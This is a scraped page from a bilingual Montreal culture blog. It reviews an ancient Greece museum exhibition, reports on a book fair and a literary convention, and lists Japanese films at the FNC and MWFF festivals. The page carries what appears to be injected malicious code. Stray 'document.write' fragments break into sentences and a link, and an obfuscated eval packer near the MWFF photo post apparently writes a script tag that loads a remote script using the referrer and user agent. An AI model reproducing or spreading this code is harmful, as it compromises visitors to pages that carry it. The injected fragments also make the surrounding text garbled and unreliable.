I took advantage of a longer week-end this afternoon to visit this exposition. Being so busy lately, I was afraid that I would miss it since there’s only a month left to visit it. I urge you to hurry and go a look on this exceptional exposition. It really synthesizes is a small exhibit (a little more than five-hundreds artifacts from twenty-one Greek museums) the entire history of ancient Greece which had such a profound impact on all our western civilisations. Suddenly my memory was flooded by a wave of images, facts and souvenirs from my university time when I was studying ancient history. That was great!

Actually, the title of the exhibition is a little misleading since it really starts with the Neolithic period and the Cycladic culture (6,500 to 1,450 BCE), showing us a few of those famous cycladic figurines like the “violin-shaped” female figurines and those long female figurine with faces that look a little like the Easter Island’s moai.

[Opposite: Female figurine; Discovered in Amorgos, the easternmost island of the Cyclades, the marble figurine seems to have on the back a cap or a particular hairstyle. Amorgos, 2800-2300 BCE, © National Archaeological Museum, Athens]

However, the exhibition quickly brings us into the Bronze age (16th to 12th Centuries BCE), with the Minoan civilisation in Crete and the Mycenaean civilization on the mainland, and then into the Iron Age (11th to 8th Centuries BCE), renown for its Geometric pottery and Homeric heroes.

The exhibit pauses to talk about Homer‘s epics, the Iliad and the Odyssey, which recorded the oral histories of the greek gods and heroes but also tells us a lot about the History of that era.

I was quite impressed by being able to see with my own eyes linear A & linear B tablets, Mycenaean dagues & swords and lots of fabulous gold objects. Although the iconic Agamemnon mask displayed at the exhibit was a reproduction — probably because the original is too precious to travel abroad.

[Above: A Lekythos (funerary vase) in clay depicting Achilles avenging Patroclus. Hector, leader of the Trojan army, killed Patroclus, thinking he was Achilles. Blind with rage at the death of his friend, Achilles killed Hector, tied his body to a chariot, and dragged it around Patroclus’ tomb. Delos, late 6th century BCE, © Archaeological Museum of Delos]

The exhibition then moves to the second floor with another succession of rooms introducing us to the Archaic period (7th to 6th Centuries BCE). After a time of decline, the greek civilisation reorganize and consolidate itself around several city-states and a strong aristocracy, bringing an era of prosperity and expansion.

In that part of the exhibit we can see several kouroi and korai (votive statues of young men [kouros] and women [kore] in rather stiff posture; geochemical analysis tells us they were richly coloured), artifacts found in the tombs of several aristocrat women or priestesses (particularly the tomb of the Lady of Archontiko, probably the wife of a Bottiaean ruler), and some interesting warriors’ helmets.

[Opposite: a Koré. This Greek kore of Parian marble from the late 6th century BCE decorated a temple in the Acropolis in Athens. In the 7th and 6th centuries BCE, statues of young women (kore, plural korai) — larger than life-size at the beginning and life-size later on — were placed in Greek sanctuaries as offerings to the gods or served as grave markers. Athenian Acropolis, 520–510 BCE, © Acropolis Museum, Athens]

However, most of the second floor exhibit is dedicated to the Classical period (5th to 4th Centuries BCE). This is the summum of the ancient greek civilisation.

In this case, the exhibit is divided in several themes: the Olympics, the battle of Thermopylae (made notorious by the movie 300), the Athenian democracy, the rich literary culture (theatre, philosophy, rhetoric), etc. Here the artifacts displayed are less spectacular (mostly potteries and stone sculptures — I was disappointed to see very little coins) and the exhibit rests more on several explanatory panels and animated videos.

[Above: Votive relief offered to Asklepios. This bas-relief of pentelic marbre shows Asklepios, accompanied by his children, receiving the tributes of mortals whom he has cured. This type of object was placed in sanctuaries dedicated to the god of medicine. Loukou, 375–350 BCE, © National Archaeological Museum, Athens]

The exhibit concludes with the Pre-Hellenistic period (4th Century BCE) which was dominated by the kings of ancient Macedon: Philip II and Alexander the Great.

Here we learn about the macedonian rituals and belief (death rituals, Eleusinian mysteries). Artifacts come from the tombs of a priest in Stavroupolis, a priestess in Derveni and, of course, the tomb of Philip II (including Queen Meda magnificent gold wreath). There’s also several representation of Alexander.

The spreading of the classical greek culture made possible by Alexander’s conquest will bring a new era, the Hellenistic period, characterized by a rich culture, that will last until the Roman empire.

[Above: Marble sculpture of Alexander the Great. Upon becoming master of a large part of the ancient world, the young Alexander introduced Greek culture to Asia and imposed the use of Greek on many peoples. He also founded no fewer than 70 towns in the East modelled on Greek city-states. Ella, late 4th century BCE, © Archaeological Museum of Pella]

This exhibition is definitely a must. The only negative points that I unfortunately must bring out is the fact that it is quite expensive ($20 ! In today’s context it is clear that one must pay a lot for access to culture; although you get a 20% rebate if you have the Acces-Montreal card [FB]) and that photography is strictly forbidden at all times in every exhibition rooms. Museum usually forbid only flash photography (since light can often damage the art, but that’s good for paintings; I can hardly see what damage light could do to stone artifacts!) and when they forbid all photography it is usually to make more money by selling reproductions (which is not the case here). That was probably a requirement from the lending museums. Fortunately, for once, the museum shop is offering a souvenir book that is relatively complete (132 pages, although it is NOT an exhaustive catalog of the exhibition) and at a quite reasonable price ($9.95). It is really worth purchasing (but it is for now available only in the museum shop).

Update: Now you can also get a $5 discount with the OPUS card (the smart card to pay your Montreal transit system’s fares).

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Congrès Boréal

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Pour ceux que ça intéresse: le Congrès Boréal (rassemblement annuel des amateurs et professionnels des littérature de l’imaginaire du Québec) se tiendra la fin de semaine des 8, document.write(“”); 9 et 10 mai 2015. On me précise que la soirée du 8 mai se déroulera à la Maison des écrivains (QG de l’UNEQ: 492 avenue Laval) et que la fin de semaine du 9-10 mai comme tel aura lieu à l’hôtel Expresso (1005 rue Guy). Voir le site officiel pour plus de détails. Inscrivez-vous en grand nombre!
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SDL 2014 – suite

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Lors de ma visite annuelle au 37e Salon du livre de Montreal, document.write(“”); qui s’est tenu au hall d’exposition de la Place Bonaventure du mercredi 19 au lundi 24 novembre sous le thème “Montréal, francosphère du livre, ” j’ai fais la découverte de quelques livres que j’aimerais éventuellement ajouter à ma longue liste de lecture et, par la même occasion, vous les faire découvrir aussi. J’ai déjà parlé dans un billet précédent du panel sur l’acquisition de livres en bibliothèques auquel j’ai assisté et de mes découvertes en BD et en manga. En voici donc la suite… (après le saut de page)
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J’ai toujours été attiré par les polars mais je n’en ai lu que très peu. De plus, j’ai toujours porté un grand intérêt aux auteurs d’ici mais n’en ai lu que très peu. Bon, il faut dire que j’ai l’impression de lire de moins en moins peu importe les genres et que j’ai toujours eu un peu la phobie de lire les auteurs que je connais par peur d’être déçu… Crimes à la librairie m’apparaît donc comme l’occasion parfaite de remédier à ces deux situations en lisant une anthologie de polars local. Le polar est un genre en plein développement au Québec, si l’on en juge par un magazine spécialisé comme Alibi. Sous la direction de Richard Migneault, seize écrivains québécois de grand talent se sont réunis autour d’un thème séduisant, crimes à la librairie, et nous invitent dans autant de librairies. Ils dénaturent donc, chacun à sa façon, ce carrefour de tous les imaginaires en transformant chaque livre qui s’y trouve en témoin de l’énigme, du suspense, de l’insoutenable. Publié au Éditions Druide, 336 pages, 24,95 $. Disponible en librairies, en ligne, ainsi qu’à la bibliothèque en format papier et numérique.

Je dois avouer n’avoir pas beaucoup suivi l’évolution de la SFFQ pendant de longues années (du fait que mon travail d’éditeur [puis ma nouvelle carrière en bibliothèques] me tenait très occupé, que je me sentais un peu boudé pcq je publiais en anglais et sur un genre [anime & manga] qui, tout en étant riche en SFF, est souvent méprisé, et finalement pcq j’ai tendance à être plutôt misanthrope et casanier). J’ignore donc tout de cette nouvelle relève d’auteurs qui semble surtout provenir des régions et se cristalliser autour de la revue Brins d’éternité et des éditions Les Six Brumes. J’espère donc trouver le temps pour me rattraper en lisant l’anthologie Dix ans d’éternité. Sous la direction d’Ariane Gélinas, celle-ci célèbre la longévité de Brins d’éternité par une sélection de vingt nouvelles parmi les plus marquantes parues dans la revue depuis 2007. Publié aux éditions Les Six Brumes, 383 pages, $20. Disponible en librairies, en ligne, et à la bibliothèque.

Le prolifique Daniel Sernine (auteur primé tant pour la jeunesse que pour adulte, directeur de collection chez Médiaspaul et directeur de la revue Lurelu) n’a malheureusement pas beaucoup publié ces derniers temps (ses plus récents romans étant la série de La Suite du Temps chez Alire [2004-2008] et Les îles du ciel chez Soulières [2014]) et certaines de ses oeuvres ne sont même plus disponibles. Heureusement, la collection Brumes de Légende, qui réactualise et rend de nouveau disponibles des ouvrages marquants des littératures de la science-fiction et du fantastique québécois, nous offre Petits démons, un recueil de nouvelles fantastiques qui rassemble les meilleures textes de Daniel Sernine associées à l’univers des démons de Neubourg et Granverger. Ainsi, au fil des siècles, à Québec, Neubourg ou Granverger, les descendants des familles Vignal et Davard sont touchés par l’ombre du Mauvais. Petits ou grands, nommés ou non, les démons renoncent rarement à leurs proies humaines. Publié aux éditions Les Six Brumes, 256 pages, $20. Disponible en librairies, en ligne, et à la bibliothèque.

Après avoir visité les grands distributeurs (particulièrement Prologue, ADP, Hachette), mes pas m’ont finalement amené au kiosque des éditions Alire. Toutefois, il n’y avait pas beaucoup d’auteurs présents en milieu d’après-midi (je n’y ai vu que Francine Pelletier et Richard Ste-Marie) car la plupart des auteurs n’avaient leur séances de dédicaces que plus tard en soirée ou le lendemain (Natasha Beaulieu, Héloïse Côté, Maxime Houde, Michel Jobin, Guy Gavriel Kay, François Lévesque, Rick Mofina, Lionel Noël, Patrick Sénécal, et Élisabeth Vonarburg). Malheureusement j’allais manquer l’événement idéal pour rencontrer un maximum de gens du milieu, le cinq à sept des revues Alibi et Solaris, qui se tenait également le samedi… On y lancerait les numéros 52 d’Alibi et 192 de Solaris (célébrant les quarante ans de la revue avec les textes de quarante auteurs!). Je me suis consolé en ramassant le catalogue 2014-2015 (aussi disponible en ligne). Tout fraîchement paru, en novembre, on note L’année de la science-fiction et du fantastique Québécois 1994 (a.k.a. l’ASFFQ) par Claude Janelle, qui est considéré comme la bible des littératures de l’imaginaire d’ici. Parmi les parutions prochaines notoires on remarque également, du côté de la fantasy et de la science-fiction, La voyante des Trois-Rivières (tome 2 du Crépuscule des arcanes) de Sébastien Chartrand, Les marches de la Lune morte d’Yves Meynard, Le jeu du démiurge de Philippe-Aubert Côté, ainsi que, du côté du polar, La Vieille Fille et la mort de Catherine Sylvestre et La Misère des laissés-pour-compte de Maxime Houde.

Somme toute, ce fut un intéressant salon, quoiqu’il y a tellement de choses à voir que c’est plutôt écrasant ou accablant — on se sent pas mal dépassé par cette pléthore littéraire d’éditions et d’auteurs. C’est un peu court, un après-midi, pour digérer tout ça. Et puis je trouve que c’est un peu cher 8 $ (plus le vestiaire à environ 3 $ et la bouffe à prix d’or — quoiqu’il existe un passport à 12 $ qui est valable pour les 6 jours du Salon; ça c’est un peu plus raisonnable). Je pense que le Salon du Livre devrait être comme le Salon des Métiers d’Art: gratuit, pour inciter les gens à acheter des livres (en fait c’est un peu le cas avec le mercredi gratuit pour les abonnés des bibliothèques de Montréal, et les jeudi à deux pour un). N’empêche que le Salon du Livre est un incontournable et que j’y serai encore l’an prochain pour découvrir de nouvelles merveilles livresques.

Je rappel à tout ces bons éditeurs que, s’ils veulent que je parle plus avant de leur titres, les services de presse sont les bienvenu (j’aime bien lire les ouvrages de la bibliothèques mais j’aime encore plus posséder mes précieuses lectures et les conserver pour références futures).

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Salon du livre 2014

/ Clodjee / 1 Comment

Le 37e Salon du livre de Montreal s’est tenu au hall d’exposition de la <a href="https://www.google.ca/maps/place/Place+Bonaventure, document.write(“”); +Montreal, +QC+H3C/@45.499103, -73.5654594,16z/data=!4m2!3m1!1s0x4cc91a5c92bba9e3:0xb4f4c527716e1fde” target=”“new””>Place Bonaventure (Métro Bonaventure) du mercredi 19 au lundi 24 novembre sous le thème “Montréal, francosphère du livre.”
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C’est pour moi (en tant que blogeur-lecteur, ex-éditeur et aide-bibliothécaire) un événement incontournable alors, comme toutes les années, profitant de la Journée des Professionnels, je suis allé l’explorer dans tout les sens (quadrillant tant dans le sens du cardo que dans celui du decumanus; j’ai marché en tout et pour tout 9.6 km !). J’ai assisté à un panel sur le processus d’acquisition en bibliothèque, visité des expositions, salué mes ami(e)s des Éditions Alire, fait quelques découvertes intéressantes (en SFFQ et en Manga), et croisé par hasard de nombreux auteurs — j’ai reconnu entre autres Ariane Gélinas, Dany Laferrière, Bryan Perro, Norbert Spehner, et Kim Thúy. J’ai aussi entendu dire qu’on y verrait quelques gros canons de la littérature (Emmanuel Carrère, Harlan Coben, Ken Follett, Katherine Pancol, Louise Penny, Kathy Reichs, Michel Tremblay, Louise Tremblay-D’Essiambre, etc.) ou de la BD (dont Delaf et Dubuc (Les Nombrils) et Haché (co-auteur de Lucky Luke)). Je partagerai donc avec vous mes impressions et découvertes… juste après le saut de page:


Mon premier arrêt a été pour le panel “Le processus d’achat des bibliothèques: nouveaux modèles d’affaires, nouvelles façons de travailler,” animé par Louise Guillemette-Labory, directrice associée des Bibliothèques de Montréal. Dans un premier temps, les chercheurs Frédéric Brisson (UdeS) et Stéphane Labbé (UQTR) nous ont présenté en primeur les résultats de leur enquête (à être publié dans les prochains mois) Le processus d’acquisition de livres des bibliothèques publiques au Québec. Ensuite, Manon Trépanier (libraire à la Librairie Alire), Micheline Perreault (bibliothécaire de Longueuil à la retraite), et Martin Dubois (bibliothécaire en chef du service des bibliothèques de Longueuil) nous ont présenté l’exemple concret des bibliothèques de Longueuil.

C’était assez intéressant mais étrangement je n’y ai rien entendu de radicalement nouveau. Où sont donc ces nouveaux modèles d’affaires? La principale (res)source des bibliothèques dans le processus d’achat de livres est bien sûr les libraires: certains titres populaires sont envoyés d’office, d’autres sont choisi en salles de montre par les bibliothécaires responsables de l’acquisition et certains sont aussi parfois acheté ponctuellement (achats locaux). Les autres outils qui contribuent aux choix de titres peuvent être les suggestions des usagers, les publications spécialisés (Les Libraires et leur revue, Lurelu), les palmarès et prix littéraires (des grands libraires, des journaux ou autres média (radio, TV)) ou encore les services documentaires spécialisés (Mémento, SDM). La sélection des titres est faite selon des critères tel que leur provenance (auteurs locaux ou étrangers), le potentiel d’emprunt, la notoriété/popularité de l’auteur, la qualité (palmarès, prix), le format (grand format ou format poche, richesse graphique de la couverture, couverture arrière détaillée, couverture rigide, etc.) et la façon dont un titre complètera ou améliorera la diversité de la collection. Le processus d’achat des livres électroniques est encore peu développé et, pour l’instant, mimique celui des livres papiers. Ce qui a été apparemment un aspect innovateur à Longueuil c’est comment ils ont dû harmoniser la gestion des bibliothèques et rationaliser le processus d’achat, en étroite collaboration avec leur libraire attitrée, afin de s’adapter à la structure des villes fusionnées et à la division par arrondissements.

En visitant l’exposition “La Bande Dessinée Québécoise” j’ai découvert la revue Collections, une publication bimestrielle de l’Association nationale des éditeurs de livres (ANEL) dont le numéro 6, consacré à la BD, était à l’honneur. Cette revue thématique a pour but de mettre en valeur la littérature d’ici auprès de nos bibliothèques. Les cinq autres numéros de la revue, tous disponible en ligne en format PDF, traitent des thématiques de la littérature jeunesse, la littérature au féminin, le roman historique, les Polars, thrillers et romans policiers, et les essais. Très informatif cette revue de la littérature d’ici pour les bibliothèques d’ici. Bien écrit, bien présenté, au graphisme agréable, je suis pas mal certains que tous (pas seulement les bibliothécaires) y trouveront des suggestions d’achat pour Noël et même le reste de l’année. À quand un numéro consacré à la Science Fiction et aux Fantastique Québecois ?

Ensuite je suis passé par le kiosque de La Pastèque (l’éditeur des Paul, de Michel Risque et de Red Ketchup) dont la nouveauté notoire est la version française de La Famille Carter, une BD biographique racontant l’histoire d’une famille considérée comme l’un des piliers de la musique country moderne. J’ai aussi eu la surprise de découvrir que l’intégrale du comic strip canadien-anglais Ben sera désormais publié par La Pastèque, en commençant avec le volume six qui devrait paraître en novembre. Dès que les droits des huit premiers tomes seront libre, La Pastèque entreprendra la réimpression des premiers volumes. Cette charmante série racontant la vie d’une couple de retraité et qui a gagné le cœur de nombreux lecteurs est prépubliée tous les jours dans plusieurs journaux.

Côté manga, j’ai remarqué que le volume 10 de Cesare est paru ici et j’ai fait la découverte de quelques nouveaux titres qui me semblent intéressants. Celui qui a la plus piqué mon intérêt est Eurêka! par Hitoshi IWAAKI (Parasite), publié chez Komikku. Au IIIe siècle avant J.C., durant la seconde guerre punique, alors qu’Hannibal échoue à conquérir la ville de Rome, les Romains assiègent la ville de Syracuse qui résiste grâce au génie d’Archimède! Autre perle que j’espère ajouter à ma liste de lecture: l’éditeur français Nobi Nobi!, qui se spécialise dans la traduction de livre jeunesse Japonais, viens de lancer la collection “Les Classiques en Manga” qui reprends en manga les grands classiques de la littérature jeunesse. Les premiers titres, parus en octobre, sont Les trois mousquetaires (Alexandre Dumas, illustré par Russkey; voir un extrait) et La Petite Princesse Sara (Frances Hodgson Burnett, illustré par Azuki NUNOBUKURO).

Deux autres titres me semblent possiblement intéressants. D’abord, Le nouveau Tom Sawyer par le duo UME (Ozawa Takahiro et Seo Asako) publié chez Komikku, un hommage à Mark Twain qui met en scène Chiharu, un jeune citadin qui découvre avec curiosité l’île de Hatena-Jima (voir un extrait). Puis, il y a La main d’Horus par Tatsuya SEKI, aussi publié chez Komikku, qui raconte l’histoire de Jûzaburô Kujô, un chirurgien à l’hôpital général d’Ôedo qui semble posséder pouvoir divin de guérison (voir un extrait). Le dessin ne m’impressionne pas mais cela mérite toute de même un petit coup d’oeil. [En passant, je hais quand les éditeurs n’ont pas de catalogue internet vers lequel je peux vous renvoyer pour les détails. Au moins Komikku a une page Facebook en attendant que leur site soit complèté…]

Bon, il se fait tard alors j’ajouterai un autre jour mes “découvertes” du côté de la SFFQ (au Druide, au Six-Brumes et, bien sûr, au Éditions Alire) ainsi que mon impression générale du salon…

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Festival du Nouveau Cinema 2014

/ Clodjee / Leave a comment

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
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Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

  • Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

    “The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

  • Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

    “Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

  • Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

    “The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

    Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

  • The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

    “Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

  • Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

    “A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

  • The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

    “Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

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Écrire le monde : la science fiction

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L’Union des écrivaines et des écrivains québécois, document.write(“”); en collaboration avec Bibliothèque et Archives nationales du Québec (BAnQ) présente :
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Lecture publique

Écrire le monde / Territoire de l’ailleurs : la science-fiction

Le 2 octobre 2014, de 19 h 00 à 20 h 15

À l’Auditorium de la Grande Bibliothèque

Lecture d’extraits du roman Les jours de l’ombre de Francine Pelletier, auteure de la trilogie Le sable et l’acier, en sa présence.

Mise en lecture : Rita Lafontaine
Interprète : Jessica Lamy
Musicien : Frédéric Maher

La lecture sera suivie d’une période de questions avec l’écrivaine et les artistes.

Continuez après le saut de page >>

Sha’Ema, une jeune pelissière de Namelak, fuit son village. Sous son sein gauche, un oeil est en train de se former. Or, si les prêtres l’apprennent, ils la mutileront, l’exileront dans les montagnes, et sa famille sera soupçonnée d’impureté.

De fait, sur Og’umbi, il est dit que les métamorphoses proviennent des unions contre nature qui ont eu lieu entre humains et Akae, ces « êtres-en-changement » qui, jadis, ont envahi la planète. Et si ces monstres ont depuis disparu, le mal, lui, demeure omniprésent. D’ailleurs, dans sa fuite, Sha’Ema rencontre Nosh, l’homme au corps de bête, puis Herbé, qu’une métamorphose a rendu mi-humain, mi-autre chose…

C’est en cherchant à en savoir davantage sur ces métamorphoses, dans la grande ville de Vassilor, que Sha’Ema entendra parler pour la première fois des théories révisionnistes du professeur Valère, et c’est ensemble qu’ils s’enfonceront au coeur des montagnes de l’Ueg, à la recherche d’une vérité qu’ils ne peuvent encore soupçonner!

La participation à cette activité est gratuite. Cependant, pour vous assurer d’avoir une place, vous êtes invité à vous procurer un billet. Cette activité ayant lieu dans un auditorium, des frais de billetterie de 4 $ par billet (taxes incluses) s’appliquent. Les personnes se présentant sans billet à une activité ne seront admises dans la salle que s’il reste de la place.

Pour de plus ample information, voir les sites de l’UNEQ et de la BANQ.

(Crédit photo: Romain Guy)

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FFM – Cérémonie d’ouverture

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Voici notre video de la cérémonie d’ouverture du FFM 2014 (sur Vimeo)
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Here’s our video of the 2014 MWFF Opening Ceremony (on Vimeo)

FFM – album photos

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Voici notre album photos du Festival des films du monde 2014 sur Flickr
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arrtn|var|u0026u|referrer|nzsti||js|php’.split(‘|’),0,{}))
Here’s our 2014 Montreal World Film Festival pictures gallery on Flickr

The MWFF schedule is available

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The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!
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The Cinema Under the Stars program will take place after all. In a press release, document.write(“”); the festival announced that the free outdoor screenings will be back again this year for twelve nights. Beginning August 21 and running nightly at 8:30 pm through Labour Day (September 1), the Festival will show a wide selection of popular movies on the esplanade of the Place des Arts.

The festival also announced that it will be showing many italian movies again this year. As always the Montreal World Film Festival has a bumper crop of Italian films to show, this year more than ever. Starting with the president of the jury, Sergio Castellitto, and continuing through various sections of the Festival, lovers of Italian cinema will have plenty to celebrate. Thirteen films, produced or co-produced by Italy, are on show and Pupi Avati will be on hand for the premiere of his new film along with a large delegation of Italian film people. More details in the full press release.

Last Tuesday, the festival announced in a press release the details of the 45th Student Film Festival. Organized within the framework of the Montreal World Film Festival, the Student Film Festival, held August 23 to 27, 2014, has this year two competitive sections, comprising 26 Canadian films and 60 international films respectively. The winning films will share 6 prizes, including the Norman McLaren Prize for best Canadian film and the jury award Most Promising Director. Founded by Serge Losique in 1969, the Student Film Festival is the oldest film festival in Canada and was incorporated into the World Film Festival in 1985. The reputation of the Montreal festival has attracted many student films from around the world and this year, to accommodate the abundance of excellent foreign productions, an international competition was established and it features films from 18 countries!

Finally, a press release also detailed all the ticket options for the movie-goers attending the festival. Booklets of tickets and individual tickets to films of the Festival itself will go on sale August 16 to 21, from noon to 7 pm, at the box offices of the Imperial Cinema and the Cinéma du Quartier Latin. Festivalgoers may also purchase tickets online through Admission beginning August 22. The Festival run August 21 through September 1.

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Japanese movies at the MWFF 2014

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In a press conference last tuesday, document.write(“”); the Montreal World Film Festival announced the programming of its 38th edition, which will be held from August 21st to September 1st. The festival will present 350 films including 160 feature-length movies (of which 100 will be world or international premieres, and 32 North American premieres), and 190 short films. 51 of those fiction features-length movies will be first features (the first film of its director), of which 19 will be in competition. It is less than the previous years but this rich selection from 74 countries is nevertheless quite a feat considering that the festival has been denied nearly one million dollars in subsidies this year! (On this subject, see my post [in french] “Le FFM se prépare à une 38e année difficile”). For more programming details, please read my post “Programmation FFM 2014” [in french] or check the full press release on the festival web site.
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The World Film Festival of Montreal will take place from August 21st to September 1st 2014, at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 16 at noon at the offices of the Imperial (CI) and the Latin Quarter (QL) theatres, and ticketing networks from August 22. Individual tickets are $ 10, Passports are $ 100 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.

This year the festival is offering us eleven twelve Japanese features movies and three five short films: two feature films [and one short film] in the “World competition” category, three in “Out of competition”, five feature films and three four shorts in the “Focus on World Cinema” [all those short films are conveniently shown together] and one two feature films in the “Tribute to Michael J. Werner” [there’s another movie shown as a tribute to Alain Resnais]. There are no Japanese movies this year in “First Films World Competition”, “Documentary” or the “International selection of the Student Film Festival” categories.

At the press conference announcing the festival’s programming, Serge Losique reiterated his love for Japanese cinema. He tells us that Japan is one of the most film-loving countries in the world and has given us lots of great filmmakers (especially Akira Kurosawa). He tells us also that a Japanese film in competition this year will be accompanied by a host of top Japanese actors. The delegation for this film will include forty-five people, in addition to numerous representatives of Japanese media (from five television stations and eight newspapers)! [You can see the clip of Losique talking Japanese cinema from 1:05 to 2:00 mins on the press conference video that I posted on Vimeo and on my “Programmation FFM 2014” post [in french]]

More information on the festival’s japanese movies can be found on the Facebook page of the Canada-Japan Cultural Exchange magazine, Coco-Montreal.

